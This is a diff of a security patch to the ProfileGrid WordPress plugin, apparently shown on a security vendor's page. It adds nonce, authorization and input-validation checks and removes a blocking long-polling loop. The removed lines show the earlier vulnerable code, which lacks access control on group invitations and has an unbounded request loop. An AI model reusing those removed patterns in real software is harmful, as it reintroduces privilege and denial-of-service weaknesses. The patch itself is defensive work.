+			return new WP_Error( 'pg_rest_auth_required', __( 'Authentication required', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 401 ) );
+		}
+
+		$nonce = $request->get_header( 'X-WP-Nonce' );
+		if ( empty( $nonce ) ) {
+			$nonce = $request->get_param( '_wpnonce' );
+		}
+
+		if ( empty( $nonce ) || ! wp_verify_nonce( (string) $nonce, 'wp_rest' ) ) {
+			return new WP_Error( 'pg_rest_invalid_nonce', __( 'Invalid nonce', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 403 ) );
+		}
+
+		return true;
+	}
+
+	public function pm_rest_get_messenger_notification( $request ) {
+		$pmmessenger = new PM_Messenger();
+		$timestamp   = $request->get_param( 'timestamp' );
+		$activity    = $request->get_param( 'activity' );
+		$tid         = absint( $request->get_param( 'tid' ) );
+		$uid         = get_current_user_id();
+
+		if ( $tid > 0 ) {
+			$thread = $this->pg_get_authorized_thread( $tid, $uid );
+			if ( false === $thread ) {
+				return new WP_Error( 'pg_rest_unauthorized_thread', __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), array( 'status' => 403 ) );
+			}
+		}
+
+		if ( $tid === 0 ) {
+			return rest_ensure_response( array() );
+		}
+
+		$payload = $pmmessenger->pm_get_messenger_notification_data( $timestamp, sanitize_text_field( (string) $activity ), $tid );
+		if ( is_array( $payload ) ) {
+			$payload['transport'] = 'rest';
+		}
+
+		return rest_ensure_response( $payload );
+	}
+
+	public function pm_rest_unread_message_summary( $request ) {
+		return rest_ensure_response( $this->pg_get_unread_message_summary_payload( get_current_user_id() ) );
+	}
+
 	public function pm_get_messenger_notification() {
 		if ( ! is_user_logged_in() ) {
 			wp_send_json_error( 'Authentication required', 401 );
@@ -1400,19 +1477,24 @@

 		check_ajax_referer( 'ajax-nonce', 'nonce' );

+		wp_send_json_success( $this->pg_get_unread_message_summary_payload( get_current_user_id() ) );
+	}
+
+	private function pg_get_unread_message_summary_payload( $uid ) {
 		$pmrequests = new PM_request();
-		$uid        = get_current_user_id();
 		$summary    = $pmrequests->pm_get_unread_message_summary( $uid );
 		$count      = isset( $summary['count'] ) ? (int) $summary['count'] : 0;
 		$latest_ts  = isset( $summary['latest'] ) ? (int) $summary['latest'] : 0;
+		$latest_tid = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+		$latest_rid = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
 		$dismissed  = (int) get_user_meta( $uid, 'pg_msg_unread_dismissed_at', true );

-		wp_send_json_success(
-			array(
-				'count'     => $count,
-				'latest_ts' => $latest_ts,
-				'dismissed' => $dismissed,
-			)
+		return array(
+			'count'     => $count,
+			'latest_ts' => $latest_ts,
+			'latest_tid'=> $latest_tid,
+			'latest_rid'=> $latest_rid,
+			'dismissed' => $dismissed,
 		);
 	}

@@ -2141,53 +2223,33 @@
 	public function pm_get_friends_notification() {
 		$this->pm_validate_ajax_nonce_or_403( 'pm_get_friends_notification' );
 		$dbhandler   = new PM_DBhandler();
-		$identifier   = 'FRIENDS';
-		$timestamp    = filter_input( INPUT_GET, 'timestamp' );
+		$identifier  = 'FRIENDS';
+		$timestamp   = filter_input( INPUT_GET, 'timestamp', FILTER_VALIDATE_INT );
 		$current_user = wp_get_current_user();
 		$uid          = $current_user->ID;
-		set_time_limit( 0 );
-		while ( true ) {
-			$last_ajax_call   = isset( $timestamp ) ? (int) ( $timestamp ) : null;
-			$where            = array(
-				'user2'  => $uid,
-				'status' => 1,
-			);
-			$last_change_data = $dbhandler->get_all_result( $identifier, '*', $where );
-			foreach ( $last_change_data as $last_row ) {
-				$last_change_time = $last_row->action_date;
-			}
-
-			// get timestamp of when file has been changed the last time
-			$last_change_in_data_file = strtotime( $last_change_time );
-
-			// if no timestamp delivered via ajax or data.txt has been changed SINCE last ajax timestamp
-			if ( $last_ajax_call == null || $last_change_in_data_file > $last_ajax_call ) {
-
-				// get content of data.txt
-				$data = count( $last_change_data );
-				if ( ! isset( $data ) || empty( $data ) ) {
-					$data = '0';
-				}
-				// put data.txt's content and timestamp of last data.txt change into array
-				$result = array(
-					'data_from_file' => $data,
-					'timestamp'      => $last_change_in_data_file,
-				);
-
-				// encode to JSON, render the result (for AJAX)
-				$json = wp_json_encode( $result );
-				echo wp_kses_post($json);
-
-				// leave this loop step
-				break;
-
-			} else {
-				// wait for 1 sec (not very sexy as this blocks the PHP/Apache process, but that's how it goes)
-				sleep( 1 );
-				continue;
-			}
+		$last_ajax_call = ! empty( $timestamp ) ? (int) $timestamp : 0;
+		$where          = array(
+			'user2'  => $uid,
+			'status' => 1,
+		);
+		$requests       = $dbhandler->get_all_result( $identifier, '*', $where );
+		$last_change_ts = 0;
+		if ( ! empty( $requests ) ) {
+			$last_row       = end( $requests );
+			$last_change_ts = ! empty( $last_row->action_date ) ? (int) strtotime( $last_row->action_date ) : 0;
+		}
+		$data_count = count( $requests );
+		if ( $last_ajax_call > 0 && $last_change_ts <= $last_ajax_call ) {
+			$data_count = 0;
 		}
-
+		echo wp_kses_post(
+			wp_json_encode(
+				array(
+					'data_from_file' => (string) $data_count,
+					'timestamp'      => $last_change_ts,
+				)
+			)
+		);
 		die;
 	}

@@ -3213,7 +3275,7 @@
 		$pmrequests      = new PM_request();
 		$postid          = filter_input( INPUT_POST, 'post_id' );
 		$type            = filter_input( INPUT_POST, 'type' );
-		$content         = filter_input( INPUT_POST, 'pm_author_message' );
+		$content         = filter_input( INPUT_POST, 'pm_author_message', FILTER_UNSAFE_RAW );
 		$current_user    = wp_get_current_user();
 		$sid             = $current_user->ID;
 		$retrieved_nonce = filter_input( INPUT_POST, '_wpnonce' );
@@ -3289,8 +3351,23 @@
 		$pmrequest       = new PM_request();
 		$pm_emails       = new PM_Emails();
 		$dbhandler       = new PM_DBhandler();
-		$gid             = filter_input( INPUT_POST, 'gid' );
+		$gid             = isset( $_POST['gid'] ) && is_scalar( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
 		$emails          = $post['pm_email_address'];
+		$current_user_id = get_current_user_id();
+		$basic_functions = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
+
+		if ( '' === $gid || ! ctype_digit( $gid ) ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+
+		$is_group_leader = $pmrequest->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid );
+		$is_group_manager = $basic_functions->pm_user_is_group_manager( $current_user_id, $gid );
+		if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user_id ) && ! $is_group_manager && ! $is_group_leader ) {
+			wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+		}
+
+		$group_type    = $pmrequest->profile_magic_get_group_type( $gid );
+		$is_paid_group = (float) $pmrequest->profile_magic_check_paid_group( $gid ) > 0;

 		$message      = '';
 		$has_success  = false;
@@ -3314,9 +3391,9 @@

 				if ( ! in_array( $gid, $gid_array ) ) {
                                     $send_invitation = $dbhandler->get_global_option_value('pm_allow_registered_users_to_accept_invitation', '0');
-                                        if($send_invitation==0)
+                                        if($send_invitation==0 && 'open' === $group_type && ! $is_paid_group)
                                         {
-                                            $pmrequest->profile_magic_join_group_fun( $user_id, $gid, 'open' );
+                                            $pmrequest->profile_magic_join_group_fun( $user_id, $gid, $group_type );
                                             $message .= '<div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
                                                 <div class="pm-difl pg-invited-user">' . get_avatar( $email, 26, '', false, array( 'force_display' => true ) ) . '</div>
                                                 <div class="pm-difl pg-invited-user-info">
@@ -4751,8 +4828,11 @@
 		$object['seding_text']        = esc_html__( 'Sending', 'profilegrid-user-profiles-groups-and-communities' );
 		$object['remove_msg']         = esc_html__( 'This message has been deleted.', 'profilegrid-user-profiles-groups-and-communities' );
                 $object['nonce']            = wp_create_nonce( 'ajax-nonce' );
+		$object['rest_notification_url'] = esc_url_raw( rest_url( 'profilegrid/v1/messenger/notification' ) );
+		$object['rest_nonce']           = wp_create_nonce( 'wp_rest' );
 		wp_localize_script( 'pg-messaging', 'pg_msg_object', $object );
-		$rid          = filter_input( INPUT_GET, 'rid' );
+		$rid          = absint( filter_input( INPUT_GET, 'rid', FILTER_VALIDATE_INT ) );
+		$rid_from_url = $rid;
 		$current_user = wp_get_current_user();
 		$profilechat  = new ProfileMagic_Chat();
 		$pmrequests   = new PM_request();
@@ -4762,7 +4842,7 @@
 			?>
 		<div id="pg-messages" class="pm-dbfl pg-profile-tab-content pg-message-tab">
 			<?php
-			if ( ! isset( $rid ) ) {
+			if ( ! $rid ) {
 				$threads = $pmrequests->pm_get_user_all_threads( $uid, 1, 1 );
 				if ( ! empty( $threads ) ) {
 					if ( $uid == $threads[0]->r_id ) {
@@ -4781,6 +4861,9 @@
 			if ( $tid == false ) {
 				$tid = 0;
 			}
+			if ( $rid_from_url > 0 && $tid > 0 ) {
+				$pmrequests->update_message_status_to_read( $tid );
+			}

 			$profilechat->pg_show_message_tab_html( $uid, $rid, $tid );
 			?>
@@ -6476,6 +6559,12 @@
 			$show_toast  = ( $unread > 0 && ( $latest_ts === 0 || $dismissed < $latest_ts ) );

 			$message_url = $pmrequests->pm_get_user_profile_url( $current_uid );
+			$latest_rid  = isset( $summary['latest_rid'] ) ? (int) $summary['latest_rid'] : 0;
+			$latest_tid  = isset( $summary['latest_tid'] ) ? (int) $summary['latest_tid'] : 0;
+			$base_url    = $message_url;
+			if ( $message_url && $latest_rid > 0 ) {
+				$message_url = add_query_arg( 'rid', $latest_rid, $message_url );
+			}
 			$message_url = $message_url ? $message_url . '#pg-messages' : '';

 			if ( $message_url === '' ) {
@@ -6483,169 +6572,11 @@
 			}

 			?>
-			<style id="pg-unread-toast-style">
-				#pg-unread-toast {
-					position: fixed;
-					right: 20px;
-					bottom: 20px;
-					z-index: 99999;
-					max-width: 320px;
-					background: #1f2937;
-					color: #fff;
-					border-radius: 6px;
-					box-shadow: 0 8px 24px rgba(0,0,0,0.18);
-					padding: 12px 14px;
-					display: none;
-					align-items: center;
-					gap: 10px;
-				}
-				#pg-unread-toast.pg-unread-toast--show {
-					display: flex;
-				}
-				.pg-unread-toast__text {
-					flex: 1 1 auto;
-					font-size: 14px;
-					line-height: 1.4;
-					margin: 0;
-				}
-				.pg-unread-toast__action {
-					background: #0d9488;
-					color: #fff;
-					border: none;
-					border-radius: 4px;
-					padding: 6px 10px;
-					cursor: pointer;
-					font-size: 13px;
-				}
-				.pg-unread-toast__action:hover {
-					background: #0f766e;
-				}
-				.pg-unread-toast__close {
-					background: transparent;
-					color: #fff;
-					border: none;
-					font-size: 16px;
-					line-height: 1;
-					padding: 2px 6px;
-					cursor: pointer;
-				}
-				@media (max-width: 480px) {
-					#pg-unread-toast {
-						right: 12px;
-						bottom: 12px;
-						max-width: calc(100% - 24px);
-					}
-				}
-			</style>
-			<div id="pg-unread-toast" class="pg-unread-toast" data-target="<?php echo esc_url( $message_url ); ?>" data-count="<?php echo esc_attr( $unread ); ?>" data-latest="<?php echo esc_attr( $latest_ts ); ?>" data-dismissed="<?php echo esc_attr( $dismissed ); ?>" data-show="<?php echo esc_attr( $show_toast ? 1 : 0 ); ?>">
+			<div id="pg-unread-toast" class="pg-unread-toast" data-target="<?php echo esc_url( $message_url ); ?>" data-base-target="<?php echo esc_url( $base_url ); ?>" data-count="<?php echo esc_attr( $unread ); ?>" data-latest="<?php echo esc_attr( $latest_ts ); ?>" data-latest-rid="<?php echo esc_attr( $latest_rid ); ?>" data-latest-tid="<?php echo esc_attr( $latest_tid ); ?>" data-dismissed="<?php echo esc_attr( $dismissed ); ?>" data-show="<?php echo esc_attr( $show_toast ? 1 : 0 ); ?>" data-single-label="<?php echo esc_attr__( 'You have 1 unread message', 'profilegrid-user-profiles-groups-and-communities' ); ?>" data-multi-label="<?php echo esc_attr__( 'You have {{count}} unread messages', 'profilegrid-user-profiles-groups-and-communities' ); ?>">
 				<span class="pg-unread-toast__text"></span>
 				<button type="button" class="pg-unread-toast__action"><?php esc_html_e( 'Open', 'profilegrid-user-profiles-groups-and-communities' ); ?></button>
 				<button type="button" class="pg-unread-toast__close" aria-label="<?php esc_attr_e( 'Dismiss', 'profilegrid-user-profiles-groups-and-communities' ); ?>">×</button>
 			</div>
-			<script>
-				(function () {
-					var toast = document.getElementById('pg-unread-toast');
-					if (!toast) {
-						return;
-					}
-					var target = toast.getAttribute('data-target');
-					var latest = parseInt(toast.getAttribute('data-latest'), 10) || 0;
-					var dismissed = parseInt(toast.getAttribute('data-dismissed'), 10) || 0;
-					var count = parseInt(toast.getAttribute('data-count'), 10) || 0;
-					var show = parseInt(toast.getAttribute('data-show'), 10) || 0;
-					var text = toast.querySelector('.pg-unread-toast__text');
-					var openBtn = toast.querySelector('.pg-unread-toast__action');
-					var closeBtn = toast.querySelector('.pg-unread-toast__close');
-					var hideToast = function () {
-						toast.classList.remove('pg-unread-toast--show');
-					};
-					var singleLabel = "<?php echo esc_js( __( 'You have 1 unread message', 'profilegrid-user-profiles-groups-and-communities' ) ); ?>";
-					var multiLabel = "<?php echo esc_js( __( 'You have {{count}} unread messages', 'profilegrid-user-profiles-groups-and-communities' ) ); ?>";
-					var buildLabel = function (countValue) {
-						if (countValue === 1) {
-							return singleLabel;
-						}
-						return multiLabel.replace('{{count}}', countValue);
-					};
-					var renderToast = function (countValue, latestValue, dismissedValue) {
-						if (!countValue || (latestValue > 0 && dismissedValue >= latestValue)) {
-							hideToast();
-							return;
-						}
-						if (text) {
-							text.textContent = buildLabel(countValue);
-						}
-						toast.classList.add('pg-unread-toast--show');
-					};
-
-					if (show) {
-						renderToast(count, latest, dismissed);
-					}
-
-					if (openBtn && target) {
-						openBtn.addEventListener('click', function (e) {
-							e.preventDefault();
-							window.location.href = target;
-						});
-					}
-
-					if (closeBtn) {
-						closeBtn.addEventListener('click', function (e) {
-							e.preventDefault();
-							hideToast();
-							dismissed = latest;
-
-							if (!window.pm_ajax_object || !pm_ajax_object.ajax_url || !pm_ajax_object.nonce) {
-								return;
-							}
-
-							var formData = new FormData();
-							formData.append('action', 'pm_dismiss_unread_message_toast');
-							formData.append('nonce', pm_ajax_object.nonce);
-							formData.append('latest_ts', latest);
-
-							fetch(pm_ajax_object.ajax_url, {
-								method: 'POST',
-								credentials: 'same-origin',
-								body: formData
-							});
-						});
-					}
-
-					var fetchSummary = function () {
-						if (!window.pm_ajax_object || !pm_ajax_object.ajax_url || !pm_ajax_object.nonce) {
-							return;
-						}
-
-						var data = new FormData();
-						data.append('action', 'pm_unread_message_summary');
-						data.append('nonce', pm_ajax_object.nonce);
-
-						fetch(pm_ajax_object.ajax_url, {
-							method: 'POST',
-							credentials: 'same-origin',
-							body: data
-						})
-						.then(function (response) { return response.json(); })
-						.then(function (response) {
-							if (!response || !response.success || !response.data) {
-								return;
-							}
-							var latestValue = parseInt(response.data.latest_ts, 10) || 0;
-							var dismissedValue = parseInt(response.data.dismissed, 10) || 0;
-							var countValue = parseInt(response.data.count, 10) || 0;
-							latest = latestValue;
-							dismissed = dismissedValue;
-							renderToast(countValue, latestValue, dismissedValue);
-						})
-						.catch(function () {
-							return;
-						});
-					};
-
-					setInterval(fetchSummary, 8000);
-				})();
-			</script>
 			<?php
 		}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School